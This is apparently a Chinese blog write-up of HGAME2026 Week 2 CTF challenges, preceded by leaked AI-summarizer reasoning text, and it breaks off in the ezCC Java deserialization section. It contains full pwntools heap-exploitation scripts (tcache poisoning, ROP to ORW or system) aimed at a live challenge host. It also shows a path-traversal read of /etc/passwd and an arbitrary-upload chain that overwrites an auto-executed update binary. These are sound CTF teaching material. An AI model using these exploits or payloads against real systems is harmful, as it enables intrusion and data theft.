HGAME2026 WEEK2 解题思路
好的,我现在需要总结用户提供的这篇文章内容。首先,我看到文章里有很多队伍的名称和他们的解题过程,每个队伍都有不同的题目和解决方案。比如有Crypto、Misc、Invest on Matrix、Vidar Token等等。 文章开头提到了队伍名和Token,然后详细描述了每个题目的解题步骤。比如Crypto部分涉及到QR码恢复,矩阵分析,RS编码补全未知位。Misc部分则是一个PHP上传漏洞,利用Webshell获取flag。还有Pwn题目,涉及到堆溢出、tcache中毒等技术。 每个题目的解题步骤都很详细,包括关键点分析、利用思路、关键命令和最终的flag结果。看起来这是一个CTF比赛的总结,展示了各个队伍在不同题目上的解题过程和成果。 我需要把这些内容浓缩到100字以内,并且不需要使用“文章内容总结”这样的开头。所以我要抓住主要的信息点:队伍名、Token、各个题目的解题方法和最终的flag。 总结的时候要确保涵盖所有主要部分,同时保持简洁明了。 </think> 文章介绍了多个CTF题目及其解法,包括Crypto中的QR码恢复、Misc中的PHP上传漏洞、Pwn中的堆溢出攻击等。每道题目均详细描述了关键步骤和利用思路,并附上了最终Flag。 2026-2-16 13:59:23 Author: www.zhaoj.in(查看原文) 阅读量:38 收藏

队伍名:glzjinsbot

队伍Token: OzsiZiJ225q75sqKhkeF3

6

签到

明年见!

答问卷,有手就行~

Crypto

Misc

Invest on Matrix

Invest on Matrix Writeup

题目分析

题目给了一个 25x25 的二值矩阵,但只解锁了前若干个 5x5 子块(按行优先展开)。把已解锁的 cost=1~10 的 hint 还原后,可以得到完整的前 10 行。

观察前 10 行图案:

  • 左上、右上有典型 finder pattern;
  • 第 7 行附近有 timing pattern;
  • 尺寸 25x25 对应 QR Code Version 2。

因此本题本质是:从部分已知模块恢复一个 V2 QR 的原始内容

关键步骤
1) 还原已知矩阵并识别QR参数
  • 将 cost=1~10 的 25 位串分别放入对应 5x5 子块;
  • 得到前 10 行后可识别为 QR;
  • 从 format information(top-left 一份)读到掩码后的15位:001110011100111
  • 与 QR format mask 0x5412 校验后,匹配到:
    • ECC level = H
    • mask pattern = 2
2) 建立数据位约束

对 Version 2:

  • 总码字 44 字节(352 bit);
  • 在 H 级下:16 数据字节 + 28 RS校验字节;
  • 非功能模块共 359 个,其中 7 个 remainder bit。

将前 10 行中落在 data/ecc 区域的模块按二维码 zig-zag 规则映射到码字位,并按 mask=2 去掩码后,得到 88 个已知码字bit约束

3) 用RS线性关系补全未知位
  • 把 16 个数据字节(128 bit)当作未知量;
  • 28 个 RS 字节是数据字节的线性函数(GF(256) 上线性,展开到 bit 级可转 GF(2) 线性方程);
  • 联立”已知88bit约束 + QR payload结构约束(Byte mode + length + terminator + padding)”。

在尝试 Byte mode 不同长度后,length=9 时方程组唯一可解。

求得明文

解出的二维码消息为:

W0RTH_1T?

题目要求用 hgame{} 包裹,最终 flag:

Flag

hgame{W0RTH_1T?}

Vidar Token

Vidar Token Writeup

题目分析

题目页面提示”on-chain””toolkit”,前端加载了 ethers 与一个 wasm 文件,明显是链上数据 + wasm 解密联动题。目标是从远程服务 1.116.118.188:30639 中恢复 flag。

解题步骤
1. 识别服务与关键入口
  • 访问首页,发现前端脚本 app.js
  • app.js 显示会读取 /wasm/k.wasm,并从中提取 ENTRANCE=0x...
  • 页面使用 ws://.../rpc 的 JSON-RPC(anvil 链,chainId 0x7a69)。
2. 从 NFT 拿到 coin 地址
  • 读取 wasm 得到入口 NFT 合约:0x39529fdA4CbB4f8Bfca2858f9BfAeb28B904Adc0
  • 调 tokenURI(0),metadata 中给出 vidar_coin0xc5273abfb36550090095b1edec019216ad21be6c
3. 发现 symbol() 有调用者扰动,转读 storage 原值
  • symbol() 返回的是 0x... 十六进制串,但会受 msg.sender 影响(trace 可见按调用者字节 XOR)。
  • 为避免扰动,直接读取 coin 存储。
  • 在 slot 5(动态 bytes)位置找到真实密文:keccak(5) 和 keccak(5)+1 两个 word。
  • 拼接得到密文字节:6960606a647c742a416552684d7275626d5e5e4c4f68762a3275622a5647724a5e7d7b5d6533646338327c
4. 使用 wasm 提供的 BASEA/BASEB 还原密钥
  • k.wasm 导出:
    • BASEA = 0x5b5d5b5d...
    • BASEB = 0x5a5a5a5a...
  • 关键:BASEA XOR BASEB = 0x01 0x07 重复键流。
  • 用 0x0107 重复 XOR 密文,得到明文:hgame{u-@bSoLutelY_KNow-3rc-W@sM_zzZd4ed95}
关键命令/思路
  • 读取链上代码/存储:eth_getCode / eth_getStorageAt
  • 追踪调用验证 symbol 扰动:debug_traceCall
  • 本地脚本异或验证 BASEA/BASEB 关系并解密
Flag
hgame{u-@bSoLutelY_KNow-3rc-W@sM_zzZd4ed95}

Pwn

Diary keeper

Diary keeper Writeup

题目分析

这是一个 Pwn 题(Diary keeper),核心是堆利用链:先拿到 libc 与 heap 泄露,再通过 tcache poisoning 劫持关键指针,最终构造 ORW(open/read/write)链读取 flag。

AI直接爆破了,6。

#!/usr/bin/env python3
from pwn import *
import re

context.log_level = 'error'
context.timeout = 2

HOST, PORT = '1.116.118.188', 31124
libc = ELF('/workspace/challenge/libc.so.6', checksec=False)
rop = ROP(libc)

POP_RDI = rop.find_gadget(['pop rdi', 'ret']).address
POP_RSI = rop.find_gadget(['pop rsi', 'ret']).address
POP_RDX_R12 = rop.find_gadget(['pop rdx', 'pop r12', 'ret']).address
LEAVE_RET = rop.find_gadget(['leave', 'ret']).address
OPEN = libc.sym['open']
READ = libc.sym['read']
WRITE = libc.sym['write']
EXIT = libc.sym['exit']
ENVIRON = libc.sym['environ']

DELTAS = [0xb8 + i * 0x10 for i in range(15)]
PATHS = [b'/flag\x00', b'./flag\x00', b'flag\x00', b'/home/ctf/flag\x00', b'/app/flag\x00']
FLAG_RE = re.compile(rb'[A-Za-z0-9_\-]{0,20}\{[^\n\r\}]{1,200}\}')


def ru(io, tok):
    data = io.recvuntil(tok, timeout=2)
    if tok not in data:
        raise EOFError('timeout')
    return data


def send_num(io, n):
    io.send(str(n).encode().ljust(8, b'\x00'))


def menu(io, c):
    ru(io, b'input your choice:')
    send_num(io, c)


def add(io, idx, size, date=b'A'*8, weather=b'B'*8, content=b'', date_full=True, weather_full=True):
    menu(io, 1)
    ru(io, b'input index:')
    send_num(io, idx)
    ru(io, b'size:')
    send_num(io, size)
    ru(io, b'date:')
    io.send(date if not date_full else date.ljust(8, b'\x00')[:8])
    ru(io, b'weather:')
    io.send(weather if not weather_full else weather.ljust(8, b'\x00')[:8])
    ru(io, b'content:')
    io.send(content)
    return len(content)


def delete(io, idx):
    menu(io, 2)
    ru(io, b'input index:')
    send_num(io, idx)


def show(io, idx, content_len):
    menu(io, 3)
    ru(io, b'input index:')
    send_num(io, idx)
    ru(io, b'Date: ')
    d = io.recvn(8, timeout=2)
    ru(io, b'Weather: ')
    w = io.recvn(8, timeout=2)
    ru(io, b'Content: ')
    c = io.recvn(content_len, timeout=2)
    return d, w, c


def attempt(delta, path):
    io = remote(HOST, PORT)
    try:
        # phase1
        add(io, 0, 0x418, content=b'A')
        add(io, 1, 0x20, content=b'B')
        add(io, 2, 0x418, content=b'C')
        add(io, 3, 0x20, content=b'D')
        add(io, 4, 0x418, content=b'E')
        add(io, 5, 0x20, content=b'F')
        delete(io, 0)
        delete(io, 4)
        l0 = add(io, 0, 0x418, date=b'\n', weather=b'\n', content=b'X'*0x418, date_full=False, weather_full=False)
        ld, lw, _ = show(io, 0, l0)
        libc_base = ((u64(ld) & ~0xff) | 0xe0) - 0x21ace0
        heap = ((u64(lw) & ~0xff) | 0x70) - 0xb70
        add(io, 6, 0x418, content=b'G')

        # round1
        A = heap + 0xff0
        B = heap + 0x1030
        add(io, 20, 0x28, date=p64(0), weather=p64(0x60), content=p64(A)+p64(A))
        add(io, 21, 0x18, content=b'b')
        add(io, 22, 0xe8, content=b'c')
        add(io, 23, 0x18, content=b'd')
        add(io, 24, 0x18, content=b'e')
        delete(io, 21)
        add(io, 21, 0x18, content=b'B'*0x10 + p64(0x60))
        for i in range(30, 37):
            add(io, i, 0xe8, content=b't')
        for i in range(30, 37):
            delete(io, i)
        delete(io, 22)
        delete(io, 24)
        delete(io, 21)

        env_addr = libc_base + ENVIRON
        add(io, 25, 0x148, content=b'Z'*0x20 + p64(env_addr ^ (B >> 12)))
        add(io, 26, 0x18, content=b'1')
        l27 = add(io, 27, 0x18, date=b'\x70', weather=b'\n', content=b'\n', date_full=False, weather_full=False)
        env_leak, _, _ = show(io, 27, l27)
        env_mod = u64(env_leak)

        # round2
        for i in range(50, 57):
            add(io, i, 0xe8, content=b'r')

        A2 = heap + 0x18c0
        B2 = heap + 0x1900
        add(io, 40, 0x28, date=p64(0), weather=p64(0x60), content=p64(A2)+p64(A2))
        add(io, 41, 0x18, content=b'b')
        add(io, 42, 0xe8, content=b'c')
        add(io, 43, 0x18, content=b'd')
        add(io, 44, 0x18, content=b'e')
        delete(io, 41)
        add(io, 41, 0x18, content=b'B'*0x10 + p64(0x60))
        for i in range(60, 67):
            add(io, i, 0xe8, content=b't')
        for i in range(60, 67):
            delete(io, i)
        delete(io, 42)
        delete(io, 44)
        delete(io, 41)

        saved = env_mod - delta
        target = saved - 0x18

        fake = heap + 0x1920
        path_addr = fake + 0xd0
        buf_addr = fake + 0x220

        data = bytearray(b'Q' * 0x138)
        data[0x20:0x28] = p64(target ^ (B2 >> 12))

        base = heap + 0x18e0
        off = fake - base
        chain = [
            fake + 0x300,
            libc_base + POP_RDI, path_addr,
            libc_base + POP_RSI, 0,
            libc_base + OPEN,
            libc_base + POP_RDI, 3,
            libc_base + POP_RSI, buf_addr,
            libc_base + POP_RDX_R12, 0x80, 0,
            libc_base + READ,
            libc_base + POP_RDI, 1,
            libc_base + POP_RSI, buf_addr,
            libc_base + POP_RDX_R12, 0x80, 0,
            libc_base + WRITE,
            libc_base + POP_RDI, 0,
            libc_base + EXIT,
        ]
        for i, v in enumerate(chain):
            pos = off + i * 8
            if pos + 8 > len(data):
                raise ValueError('chain overflow')
            data[pos:pos+8] = p64(v)

        ppos = path_addr - base
        if ppos + len(path) > len(data):
            raise ValueError('path overflow')
        data[ppos:ppos+len(path)] = path

        add(io, 45, 0x148, content=bytes(data))
        add(io, 46, 0x18, content=b'2')
        add(io, 47, 0x18, date=p32(47)+p32(0x18), weather=p64(0), content=p64(fake)+p64(libc_base + LEAVE_RET)+p64(0), date_full=False)

        out = b''
        for _ in range(5):
            chunk = io.recv(timeout=0.6)
            if not chunk:
                break
            out += chunk
        return out
    finally:
        try:
            io.close()
        except Exception:
            pass


def find_flag(blob):
    m = FLAG_RE.search(blob)
    return m.group(0).decode(errors='ignore') if m else None


if __name__ == '__main__':
    best = b''
    for path in PATHS:
        for d in DELTAS:
            try:
                out = attempt(d, path)
            except Exception:
                out = b''
            if len(out) > len(best):
                best = out
            flag = find_flag(out)
            print(f'[try] path={path!r} delta={hex(d)} out={len(out)}', flush=True)
            if flag:
                print(f'[+] FLAG FOUND: {flag}', flush=True)
                print(flag)
                raise SystemExit(0)
    print('NO_FLAG')
    if best:
        print(best[:400])

利用思路
1. 泄露 libc 与 heap

通过菜单堆操作构造可控堆布局,触发泄露,恢复 libc_base 与 heap

2. tcache poisoning

构造两轮 tcache/overlap 操作,命中目标指针。

3. 栈地址枚举

利用 environ 泄露推算栈位置,按若干 delta 枚举返回地址附近偏移。

4. ROP 栈迁移执行 ORW

写入 ROP + leave; ret 栈迁移,执行 ORW:

  • open("/flag", 0)
  • read(fd, buf, 0x80)
  • write(1, buf, 0x80)
5. Flag 匹配

正则匹配输出中的 flag 格式并停止。

Flag
hgame{d0_deCeNT_peOp13_eV3N-keEp_dIaRiEs?67ef8}

IONOSTREAM

题目分析

程序为典型堆菜单:

  • add(idx, size):仅允许 0x48/0x58
  • delete(idx)free(chunks[idx]) 后不置空
  • show(idx)write(1, chunks[idx], sizes[idx])
  • edit(idx):只能成功一次(全局 lock

关键漏洞:

  1. UAF / Double Free(delete 不清空)
  2. 一次性 UAF 写(edit)

保护:Full RELRO / Canary / NX / PIE / CET。

利用思路总览
1. 伪造 chunk 头部

用一次 edit 做 tcache poisoning,伪造 chunk0 头部 size=0x481

2. 泄漏 libc

free(chunk0) 进入 unsorted,show(0) 泄漏 main_arena+0x60,得到 libc 基址。

3. 泄漏栈地址

第一轮再次投毒,把 malloc(0x58) 分配到 environ-0x18,泄漏栈地址(environ)。

4. 计算返回地址位置

计算 add 函数保存返回地址位置:saved_rip = environ - 0x150

5. 劫持栈返回地址

第二轮投毒,把 malloc(0x58) 分配到 saved_rip-8,直接覆盖 add 栈返回地址,写 ROP:

  • ret
  • pop rdi; ret
  • cmd_addr
  • system
  • exit
6. 触发 ROP

触发 add 返回后执行 system("cat /flag||cat flag||cat /home/ctf/f*") 拿到 flag。

关键细节
  • libc 泄漏公式:libc_base = leak - 0x210b20
  • 栈偏移(本题稳定):saved_rip(add) = environ - 0x150
  • 为避免 tcache_get 对 target+8 清零污染 environ,第一次栈泄漏目标选 environ-0x18
利用脚本
#!/usr/bin/env python3
from pwn import *

context.log_level = 'error'
context.timeout = 2

HOST, PORT = '1.116.118.188', 30374
BINARY = '/workspace/chal/vuln'
LIBC_PATH = '/workspace/chal/libc.so.6'

libc = ELF(LIBC_PATH, checksec=False)
rop = ROP(libc)
POP_RDI = rop.find_gadget(['pop rdi', 'ret']).address
RET = rop.find_gadget(['ret']).address


def exploit(io, cmd: bytes) -> bytes:
    def add(i, s, d=b'A', pad=True):
        io.sendlineafter(b'> ', b'1')
        io.sendlineafter(b'index: ', str(i).encode())
        io.sendlineafter(b'size: ', str(s).encode())
        io.sendafter(b'content: ', d.ljust(s, b'X') if pad else d)

    def delete(i):
        io.sendlineafter(b'> ', b'2')
        io.sendlineafter(b'index: ', str(i).encode())

    def show(i, n):
        io.sendlineafter(b'> ', b'3')
        io.sendlineafter(b'index: ', str(i).encode())
        return io.recvn(n)

    def edit(i, d, s=0x58):
        io.sendlineafter(b'> ', b'4')
        io.sendlineafter(b'index: ', str(i).encode())
        io.send(d.ljust(s, b'Y'))

    for i in range(16):
        add(i, 0x58, bytes([0x41 + i]) * 0x58)

    # Stage 1: one-shot UAF write to forge chunk0 size=0x481, then free to unsorted for libc leak.
    delete(12)
    heap = u64(show(12, 8)) << 12
    delete(13)
    addr13 = heap + 0x2a0 + 13 * 0x60
    edit(13, p64((heap + 0x290) ^ (addr13 >> 12)) + p64(0), 0x58)
    add(12, 0x58, b'P' * 0x58)
    add(13, 0x58, p64(0) + p64(0x481) + b'K' * (0x58 - 0x10))
    delete(0)
    libc.address = u64(show(0, 8)) - 0x210B20

    # Stage 2: poison to environ-0x18 and leak stack pointer from environ.
    target1 = libc.sym['environ'] - 0x18
    delete(6)
    delete(5)
    for idx, i in zip([0, 1, 2, 3, 4, 5, 6], range(7)):
        if i == 6:
            data = p64(target1 ^ ((heap + 0x2a0 + 5 * 0x60) >> 12)) + p64(0)
        else:
            data = b'Q' * 0x48
        add(idx, 0x48, data)
    add(8, 0x58, b'A', pad=False)
    add(9, 0x58, b'B' * 8, pad=False)
    env = u64(show(9, 0x30)[0x18:0x20])
    ret_addr = env - 0x150

    # Stage 3: poison to saved RIP of add() frame and ROP to system(cmd).
    target2 = ret_addr - 8
    delete(15)
    delete(11)
    delete(10)
    for idx, i in zip([12, 13, 14, 7, 6, 5], range(7, 13)):
        if i == 12:
            data = p64(target2 ^ ((heap + 0x2a0 + 10 * 0x60) >> 12)) + p64(0)
        else:
            data = b'R' * 0x48
        add(idx, 0x48, data)

    add(1, 0x58, b'C', pad=False)
    cmd_addr = target2 + 0x30
    payload = p64(0xDEADBEEFDEADBEEF)
    payload += p64(libc.address + RET)
    payload += p64(libc.address + POP_RDI)
    payload += p64(cmd_addr)
    payload += p64(libc.sym['system'])
    payload += p64(libc.sym['exit'])
    payload += cmd
    add(2, 0x58, payload, pad=False)

    out = io.recvall(timeout=2)
    return out


def main():
    cmd = b'cat /flag||cat flag||cat /home/ctf/f*\x00'
    io = remote(HOST, PORT)
    out = exploit(io, cmd)
    io.close()
    print(out.decode(errors='ignore'))


if __name__ == '__main__':
    main()

Flag
hgame{tc@Che_I5-fuNa3e201062cd9}

gosick

gosick Writeup

题目分析

这是一个 Rust Pwn 题,程序菜单是 Add Edit Show Gift Login。

关键安全点在 GC 跟踪逻辑:

  • show 成功命中索引后会调用 gc force_collect;
  • Chaos 的 trace 在 age 大于等于 6 时不再 trace content。

这会导致某个 Chaos 的 age 被抬高后,其 content 在 force_collect 中被回收,但结构体仍保留悬空引用,形成 UAF。

关键逆向结论

反汇编 Chaos trace 可见:

  • 读取 age;
  • 比较 age 和 6;
  • age 大于等于 6 时直接返回,不执行 mark。

show 的年龄变化规则:

  • 显示目标索引时,其他对象 age 加1;
  • 被显示对象 age 大于0时减1;
  • 函数尾执行 force_collect。

因此连续 show(0) 可以把 1 的 age 抬高并在 GC 中回收其 content。

利用步骤
1. 创建对象

创建两个对象:idx=0内容8字节,idx=1内容56字节。

2. 触发 UAF

连续 show(0) 七次,触发 GC 回收 idx=1 的 content(UAF)。

3. 堆块复用

login 生成 Token,堆块复用后形成可利用重叠。

4. 验证重叠

show(1) 验证重叠生效。

5. 劫持 Token.uid

edit(1,56,payload):

  • clear 会 free stale ptr 指向块;
  • extend_from_slice 重新申请并写入可控数据;
  • 将 Token.uid 对应偏移写为0。
6. 触发命令执行

调用 gift,通过 uid==0 检查进入命令执行分支。

7. 读取 flag

发送 ls /; cat /flag 读取flag。

自动化脚本
#!/usr/bin/env python3
from pwn import *
import re

HOST = '1.116.118.188'
PORT = 32591
context.log_level = 'error'


def exploit_once(io):
    def menu():
        data = io.recvuntil(b'6.Exit\n', timeout=5)
        if not data:
            raise EOFError('menu timeout')
        return data

    def create(idx, content):
        io.sendline(b'1')
        io.recvuntil(b'Index:')
        io.sendline(str(idx).encode())
        io.recvuntil(b'Content:')
        io.sendline(content)
        menu()

    def show(idx):
        io.sendline(b'3')
        io.recvuntil(b'Index:')
        io.sendline(str(idx).encode())
        return menu()

    def login(name):
        io.sendline(b'5')
        io.recvuntil(b'Name:')
        io.sendline(name)
        menu()

    def edit(idx, size, data):
        io.sendline(b'2')
        io.recvuntil(b'Index:')
        io.sendline(str(idx).encode())
        io.recvuntil(b'Size:')
        io.sendline(str(size).encode())
        io.recvuntil(b'Content:')
        io.send(data)
        menu()

    io.recvuntil(b'name', timeout=5)
    io.sendline(b'a')
    menu()

    # Prepare two Chaos entries. idx=1 uses 56-byte content for 0x50 tcache class.
    create(0, b'A' * 8)
    create(1, b'B' * 56)

    # Age idx=1 to >=6 while repeatedly showing idx=0.
    # Chaos::trace skips marking content when age >= 6, and show() triggers force_collect().
    for _ in range(7):
        show(0)

    login(b'a')
    leak = show(1)
    if b'Content: ' not in leak:
        raise RuntimeError('missing overlap leak')
    leaked_line = leak.split(b'Content: ', 1)[1].split(b'\n', 1)[0]
    if len(leaked_line) < 48:
        raise RuntimeError(f'overlap not stable, leak len={len(leaked_line)}')

    # edit() frees stale ptr (Token chunk) then reallocates same-size buffer.
    # Forge bytes so Token.uid (GcBox+0x28) becomes 0.
    forged = b'K' * 40 + p64(0) + b'L' * 8
    edit(1, 56, forged)

    io.sendline(b'4')
    io.recvuntil(b'> ', timeout=5)
    io.sendline(
        b'ls /; cat /flag 2>/dev/null; cat /home/ctf/flag 2>/dev/null; '
        b'cat /flag.txt 2>/dev/null; cat /home/ctf/flag.txt 2>/dev/null'
    )
    out = io.recvuntil(b'6.Exit\n', timeout=8)
    return out


def main():
    flag_re = re.compile(rb'hgame\{[^\n\r}]+\}')
    for i in range(1, 6):
        io = remote(HOST, PORT)
        try:
            out = exploit_once(io)
            matches = flag_re.findall(out)
            if matches:
                print(max(matches, key=len).decode())
                return
            print(f'[try {i}] no flag in output')
        except Exception as exc:
            print(f'[try {i}] failed: {exc}')
        finally:
            io.close()


if __name__ == '__main__':
    main()

Flag
hgame{g@Th3R-ThE-cH@OS6bc1f30db60}

Reverse

Androuge Writeup

题目分析

附件是一个 APK。解包后发现:

  • assets/waw:ARM64 ELF 可执行文件(静态链接,未 strip)
  • assets/game:二进制数据

结合符号信息可见 main/pmain/luaU_undump 等 Lua 解释器函数,判断为 自定义 Lua 运行时 + 加密字节码

关键逆向发现

使用 IDA(通过 reverse-ida-pro 技能)查看 luaU_undump/loadByte/loadUnsigned/loadStringN

  • 字节码读取时统一做 ^ 0x9c
  • 头部签名被改成了非标准 Waw 形式

对 assets/game 做 XOR 后能看到大量明文字符串(如 target_floorboss_intervaldecrypt_flag),说明核心逻辑在 Lua 脚本里。

解题策略

直接完整反编译字节码会被自定义编码扰乱(标准 luac/unluac 输出不稳定)。

于是改为 运行时 Hook

1. 运行 Lua 字节码

用 qemu-aarch64 运行 waw game

2. 注入 Hook 代码

使用 -e 注入 Lua 代码,debug.sethook 每条指令回调

3. 遍历调用栈

在回调中遍历调用栈局部变量 debug.getlocal

4. 调用 decrypt_flag

找到”table 且存在 decrypt_flag 方法”的对象后,直接调用 obj:decrypt_flag() 并退出

关键命令
chmod +x /workspace/androuge/apk/assets/waw
qemu-aarch64 /workspace/androuge/apk/assets/waw \
  -e 'debug.sethook(function() for lvl=2,50 do local i=1 while true do local ok,n,v=pcall(debug.getlocal,lvl,i); if not ok then break end; if not n then break end; if type(v)=="table" and type(v.decrypt_flag)=="function" then print(v:decrypt_flag()); os.exit() end; i=i+1 end end end, "", 1)' \
  /workspace/androuge/apk/assets/game
Flag
hgame{Wow_Y0u_Got_Th3_Yend0r}

Marionette

题目分析

程序读取一行输入,不提示信息。长度不足时直接退出,达到条件后输出 NO/OK

静态分析(rizin pdg main)可见:

  1. 输入按 hex 解析为 16 字节;
  2. 调用 func_0x401d4e 做核心变换;
  3. 将结果与常量 0x405010(16字节)做 memcmp,相等输出 OK

目标常量为:

8cadb48febfd6fae8660ad44c3c75a31
难点

func_0x401d4e 含大量 int3 与 ptrace 驱动执行,静态阅读非常碎片化。

动态还原思路
1) 截获 memcmp 获取真实变换输出

用 LD_PRELOAD hook memcmp,可得到:对于任意输入,比较左值是某变换结果 F(p)

2) 截获 ptrace + 寄存器/内存

继续 hook ptrace,在关键 trap 点读取 r12 附近内存,拿到固定 round-key 缓冲区,并确认核心是 AES-NI 链(pxor/aesenc/aesenclast)。

3) 分离”固定AES核”和”前处理”

构造多个样本输入,计算 AES_core^{-1}(F(p)),观察到中间量满足:

t[0] = p[0]
t[i] = p[i] ^ p[i-1]   (i>=1)

即:

F(p) = AES_core(T(p))

其中 T 是可逆的相邻异或链。

求解

设目标常量 C = 8cadb48febfd6fae8660ad44c3c75a31

1. 逆 AES 核心

先算 u = AES_core^{-1}(C),得到:

de731351e2d67abce313173404344404
2. 逆前缀异或链

再逆 T(前缀异或恢复原文):

p0 = u0
pi = ui ^ p(i-1)

得到:

deadbeef0ddba11dfeedfacecafebabe
验证

执行:

./marionette <<< 'deadbeef0ddba11dfeedfacecafebabe'

输出:

OK
Flag

根据题目要求用 hgame{} 包裹:

hgame{deadbeef0ddba11dfeedfacecafebabe}

VidarChall Writeup

题目分析

这是一个 Android Reverse 题。Java 层在 MainActivity 中把用户输入发送到 AIDL 服务,调用 native 的 makekey() 与 encrypt(),并将结果与常量比较:

jdh2rzUxbpRxlfFro3YGuhHhmpWq4eHqTvK3N1njLjMnkSUS3I6VDg==

核心逻辑在 libchall.so(动态 JNI 注册)。

关键逆向点
1. JNI 动态注册

注册了 chall_init / makekey / encrypt 三个 native。

2. encrypt 逻辑(sub_1A5D10)
  • 先把输入拷入缓冲区;
  • 使用 sub_1ABE64 做 XXTEA/btea 风格分组加密(delta 不是固定常量,而是全局 dword_505B48);
  • 最后 sub_1AC140 做 Base64 输出。
3. makekey 逻辑(sub_1A5960)
  • 隔离进程分支会基于 qword_505E20 字符串做自定义 CRC32 风格哈希(sub_1AC044, 多项式 0xD5714649);
  • 生成 4 个 32-bit key word:
    • k0 = hash
    • k1 = hash ^ delta
    • k2 = hash + delta
    • k3 = hash - delta
4. 关键坑:App Zygote
  • Manifest 里有:android:useAppZygote="true" 和 zygotePreloadName
  • qword_505E20 来源于 /proc/self/cmdline,但在预加载阶段已写入,实际参与 key 派生的是 app zygote 名:com.vidar.chall_zygote
复现与验证
1. 还原 delta

按 init_array + JNI_OnLoad + chall_init + makekey 的顺序还原 dword_505B48 的变换。

2. 计算 key

用 cmdline = com.vidar.chall_zygote 计算哈希并构造 key。

3. 解密验证

对目标密文做逆向 btea 解密,得到:

hgame{Wow_e4sy_@nd_s1ni5ter_chall_XD}
4. 正向验证

再正向加密回放,输出与题目常量完全一致,验证成功。

Flag
hgame{Wow_e4sy_@nd_s1ni5ter_chall_XD}

衔尾蛇 Writeup

题目分析

题目给的是 ouroboros-app-0.0.1-SNAPSHOT.jar(Spring Boot fat jar)。表面 RiskPolicy.check() 返回 null,但 LogicSwapper 会在启动时通过 ShadowLoader 注入真实 RiskEngine

核心点:

  • 真实逻辑不在明文class里,而在 BOOT-INF/classes/application-data.db
  • ShadowLoader 会用 IntegrityVerifier.getDeriveKey() 生成密钥,对 application-data.db 做流异或解密,再从中加载 RealRiskEngine
解题步骤
1. 解压与定位关键类
unzip ouroboros.zip
jar tf ouroboros-app-0.0.1-SNAPSHOT.jar

看到关键文件:

  • BOOT-INF/classes/application-data.db
  • BOOT-INF/classes/magic.dat
  • BOOT-INF/classes/com/seal/ouroborosapp/infra/ShadowLoader.class
  • BOOT-INF/lib/ouroboros-api-0.0.1-SNAPSHOT.jar(含 IntegrityVerifier
2. 还原解密流程

从 ShadowLoader 字节码可得:

  • 读取 application-data.db 全部字节
  • 按如下PRNG流逐字节异或:
    • seed = key & 0xffffffff
    • 每步:seed = (seed * 1103515245 + 12345) & 0xffffffff
    • byte ^= (seed >> 16) & 0xff
  • 解密后跳过前128字节,后续为一个jar流
3. 获取正确key并解出隐藏jar

IntegrityVerifier.getDeriveKey() 在未设置环境时会走混淆分支,需 -Denv=prod。且必须带上接近真实运行的classpath(要能读到 magic.dat 与 ShadowLoader.class)。

实测:

java -Denv=prod -cp /workspace/challenge:/workspace/challenge/unpack/BOOT-INF/classes:/workspace/challenge/unpack/BOOT-INF/lib/ouroboros-api-0.0.1-SNAPSHOT.jar GetKey
# 859881160

用该key解密后,offset 128 处出现 PK\x03\x04,导出 inner.jar,包含:

  • com/seal/ouroboroscore/RealRiskEngine.class
  • com/seal/ouroboroscore/OuroborosVM.class
4. 识别诱饵与真实校验

RealRiskEngine.checkLegacy() 可AES解出一个假flag:

flag{N0p3_Th1s_1s_A_D3c0y_G0_B4ck}

(诱饵)

真正校验在 OuroborosVM.execute()

  • 先把 FIRMWARE 每字节与 (integrityKey & 0xff) 异或得到固件字节码
  • 解释执行自定义栈VM(主要opcode)
    • 16:push 16-bit immediate
    • 32:push token length
    • 48:push memory[idx]
    • 53:xor
    • 74:条件跳转(通过 10000/x 触发除零异常实现)
    • 255:return(栈顶==1时true)

固件呈现为”逐字符对比 + 失败立即return false”的结构,直接还原得到目标字符串。

Flag
flag{Vm_1n_Vm_1s_Th3_R34l_M4tr1x}
验证
java -Denv=prod -cp /workspace/challenge:/workspace/challenge/inner.jar:/workspace/challenge/unpack/BOOT-INF/lib/ouroboros-api-0.0.1-SNAPSHOT.jar:/workspace/challenge/unpack/BOOT-INF/classes TestVM 'flag{Vm_1n_Vm_1s_Th3_R34l_M4tr1x}'
# true

并且在原程序交互中得到:

ACCESS GRANTED: Core Logic Validated.

Web

easyuu Writeup

题目分析

题目是一个 Web 文件浏览/上传服务,提示”uu 分开想”。实际核心就是两个 u

  • upload
  • update

应用为 Rust + Leptos,接口主要在 /api/*

漏洞发现过程
1) 初始探测

首页可见:

  • 文件上传表单
  • 下载接口 /api/download_file/{filename}

测试后发现下载存在路径穿越(编码 / 可绕过路由分段),例如:

curl "http://1.116.118.188:32737/api/download_file/..%2F..%2Fetc%2Fpasswd"

可读取任意文件。

2) 读取源码与更多接口

通过穿越读取 /app/Cargo.toml,并在 /app/update 发现 easyuu.zip 源码包:

curl -O "http://1.116.118.188:32737/api/download_file/..%2F..%2Fapp%2Fupdate%2Feasyuu.zip"

解压后审计 src/app.rs / src/main.rs,发现:

  • list_dir(path: String) -> /api/list_dirpath 完全可控,可任意目录遍历。
  • upload_file(data) -> /api/upload_file,支持 path1 字段改写写入目录。
  • main.rs 存在后台 update_watcher():每 5 秒执行 ./update/easyuu --version

这意味着可构造链路:任意写入 update/easyuu + 定时执行

利用链
1) 上传恶意脚本覆盖 /app/update/easyuu

脚本内容:导出环境变量到 /app/uploads/env.txt,最后输出 0.1.0(避免触发版本升级替换)。

示例上传逻辑(核心是 path1=/app/update + filename=easyuu):

import requests
files=[
  ('path1',(None,'/app/update')),
  ('file',('easyuu',open('payload.sh','rb'),'application/octet-stream'))
]
requests.post('http://1.116.118.188:32737/api/upload_file', files=files)
2) 等待 watcher 执行并读取结果

约 5 秒后下载:

curl "http://1.116.118.188:32737/api/download_file/env.txt"

得到:

FLAG=hgame{upLOAD_4Nd_UpDATE-arE_Re4ILy_34SY392c6}
Flag
hgame{upLOAD_4Nd_UpDATE-arE_Re4ILy_34SY392c6}

ezCC Writeup

题目分析

这是一道Java反序列化Web题目,题目名称”ezCC”暗示了Commons Collections链。

源码分析

解压WAR包后发现4个关键类:

  • myServlet – 主Servlet,处理登录和欢迎页面
  • UserInfo – 用户信息序列化对象
  • Tool – 序列化/反序列化工具类
  • BlacklistObjectInputStream – 自定义反序列化过滤器
漏洞点
  1. 登录时将UserInfo对象序列化+Base64编码存入Cookie userInfo
  2. 访问/welcome时从Cookie读取并反序列化
  3. 反序列化使用BlacklistObjectInputStream,仅禁用了InvokerTransformer
依赖
  • Commons Collections 3.2.1(存在已知反序列化漏洞)
  • Java 8 运行环境
解题思路
绕过黑名单

